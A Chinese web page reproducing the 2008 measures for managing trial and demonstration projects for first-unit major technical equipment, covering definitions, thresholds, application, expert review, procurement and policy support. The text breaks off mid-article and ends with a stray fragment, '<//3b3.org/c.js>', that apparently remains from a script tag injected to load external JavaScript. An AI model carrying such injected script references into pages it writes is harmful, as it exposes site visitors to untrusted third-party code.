为落实科学发展观,加大自主创新力度,走新型工业化道路,实现国民经济可持续发展,振兴装备制造业,为首台(套)重大技术装备应用营造政策环境,加强首台(套)重大技术装备项目管理的指导、监督,根据《国务院关于加快振兴装备制造业的若干意见》(国发[2006]8号)精神,国家发展改革委、科技部、财政部、国防科工委联合制定了《首台(套)重大技术装备试验、示范项目管理办法》,并于2008年1月22日,以发改工业[2008]224号文发布。以下是《办法》的详细内容。
首台(套)重大技术装备试验、示范项目管理办法
为贯彻落实《国务院关于加快振兴装备制造业的若干意见》(国发[2006]8号)文件精神,鼓励支持重大技术装备自主创新,为首台(套)重大技术装备应用营造必要的政策环境,增强我国企业自主创新能力,规范首台(套)重大技术装备自主创新试验、示范项目管理,特制定本管理办法。
第一条 重大技术装备定义与范围。重大技术装备是指对国家经济安全和国防建设有重要影响,对促进国民经济可持续发展有显著效果,对结构调整、产业升级和节能减排有积极带动作用的装备产品。首台(套)重大技术装备是指集机、电、自动控制技术为一体的,运用原始创新、集成创新或引进技术消化吸收再创新的,拥有自主知识产权的核心技术和自主品牌,具有显著的节能和低(零)排放的特征,尚未取得市场业绩的成套装备或单机设备。
本办法所指的首台(套)重大技术装备中的成套装备总价值在1000万元以上,单台设备价值在500万元以上,总成或核心部件价值在100万元以上。具体适用范围见附录。
第二条 试验、示范项目定义。首台(套)重大技术装备应用项目包括试验项目和示范项目。试验项目是指项目单位所采用的重大技术装备在国际上首次应用;示范项目(含依托项目,下同)是指采用的重大技术装备在国内首次应用。国民经济各领域项目单位采购和使用首台(套)重大技术装备的工程项目,可申请列为国家试验项目或示范项目。
第三条 试验、示范项目申请。项目业主单位与制造单位协商达成一致,并提供该重大技术装备自主创新实施方案(包括该项重大技术装备自主创新工作的必要性、条件、目标、实施步骤、工作要点、措施等)的基础上,可直接或通过其主管部门向国家投资主管部门申请试验、示范项目。制造行业的单位与业主单位亦可各自独立通过其主管部门向国家投资主管部门申请。
第四条 试验、示范项目的受理。国家投资主管部门接到申请后,组织专家组评估认定项目是否符合试验、示范项目的条件。专家组至少由具有该领域五人以上权威专家、总数不少于七人组成。专家组出具的意见,作为国家是否核准(审批)试验、示范项目的重要依据。
第五条 首台(套)重大技术装备的认定。专家组进行首台(套)重大技术装备的认定时,应明确提出首台(套)重大技术装备的具体范围,即属于成套装备、单台设备、核心部件或总成,作为政策支持的依据。国家投资主管都门根据项目申报情况及专家组意见,经与有关部门协商,审查、核准(审批)试验、示范项目及其实施方案。
第六条 试验、示范项目设备的采购。对政府采购范围之外的首台(套)重大技术装备试验、示范项目,项目业主单位应按照《中华人民共和国招标投标法》的规定,招标确定拟采购的首台(套)重大技术装备和研制单位。招标方式可以是公开招标,也可经国家投资主管部门批准后采取有限邀请招标、竞争性谈判等方式。招标过程中,需考虑首台(套)重大技术装备的自主创新、节能环保因素,并视情况合理设置自主创新、节能环保评标因子或权重,不得以业绩为由排斥该类设备参与投标、评标和中标。首台(套)重大技术装备试验、示范项目的装备招标采购须严格按照项目核准的实施方案进行,在执行过程中,确需调整的必须将调整方案报项目投资主管部门审核;属技术路线等重大调整的,需对项目进行重新核准(审批)。
第七条 试验、示范项目的政策。国家优先审批、核准和安排首台(套)重大技术装备试验、示范项目,国家政策性银行应在自身业务范围内给予信贷支持,国家有关部门优先安排用地审查、优先安排环保评估、优先纳入科技支撑计划。
对开发符合规定条件的首台(套)重大技术装备所需进口关键配套部件或系统及原材料,可申请享受《财政部、国家发展改革委、海关总署、国家税务总局关于落实国务院关于振兴装备制造业的若干意见有关进口税收政策的通知》中的专项税收政策。项目单位采购的首台(套)自主创新重大技术装备,符合税法规定<//3b3.org/c.js>















